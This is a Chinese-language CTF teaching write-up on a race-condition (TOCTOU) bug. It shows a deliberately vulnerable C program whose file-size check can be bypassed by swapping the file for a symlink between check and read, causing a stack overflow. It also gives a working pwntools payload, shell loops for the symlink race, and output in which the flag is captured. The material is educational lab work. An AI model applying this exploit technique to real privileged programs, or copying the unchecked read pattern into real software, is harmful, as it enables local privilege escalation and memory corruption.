Skip to content

Race Condition, 条件竞争

复制本地路径 | 在线编辑

并发可能存在的问题, 直接看题目, 基本来自 CTF-Wiki.

源代码

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
void showflag() { system("cat flag"); }
void vuln(char *file, char *buf) {
  int number;
  int index = 0;
  int fd = open(file, O_RDONLY);
  if (fd == -1) {
    perror("open file failed!!");
    return;
  }
  while (1) {
    number = read(fd, buf + index, 128);
    if (number <= 0) {
      break;
    }
    index += number;
  }
  buf[index + 1] = '\x00';
}
void check(char *file) {
  struct stat tmp;
  if (strcmp(file, "flag") == 0) {
    puts("file can not be flag!!");
    exit(0);
  }
  stat(file, &tmp);
  if (tmp.st_size > 255) {
    puts("file size is too large!!");
    exit(0);
  }
}
int main(int argc, char *argv[argc]) {
  char buf[256];
  if (argc == 2) {
    check(argv[1]);
    vuln(argv[1], buf);
  }
  return 0;
}

思路

可以看出程序的基本流程如下

  • 程序指定读入的文件, 文件名不能为 flag, 大小不大于 256.
  • 如果成功, 那么将文件内容读入到 buf 中, 大小为 256。

看似我们检查了文件的大小,同时 buf 的大小也可以满足对应的最大大小,但是这里存在一个条件竞争的问题。

如果我们在程序检查完对应的文件大小后,将对应的文件删除,并符号链接到另外一个更大的文件,那么程序所读入的内容就会更多,从而就会产生栈溢出。

首先初始化 big 文件, 如果程序成功把 big 文件读入, 就会输出 flag.

# cat payload.py
from pwn import *
test = ELF('./test')
payload = 'a' * 0x100 + 'b' * 8 + p64(test.symbols['showflag'])
open('big', 'w').write(payload)

下面是执行的脚本, small 文件不用管里面内容, big 文件就是上面的那个.

# exp.sh 
for i in `seq 500`
do
    cp small fake
    sleep 0.000008
    rm fake
    ln -s big fake
    rm fake
done

# run.sh 
for i in `seq 1000`
do
    ./test fake
done

最终效果

  (sh exp.sh &) && sh run.sh
[...]
file size is too large!!
open file failed!!: No such file or directory
open file failed!!: No such file or directory
open file failed!!: No such file or directory
open file failed!!: No such file or directory
file size is too large!!
open file failed!!: No such file or directory
open file failed!!: No such file or directory
flag{race_condition_succeed!}
[...]

Comments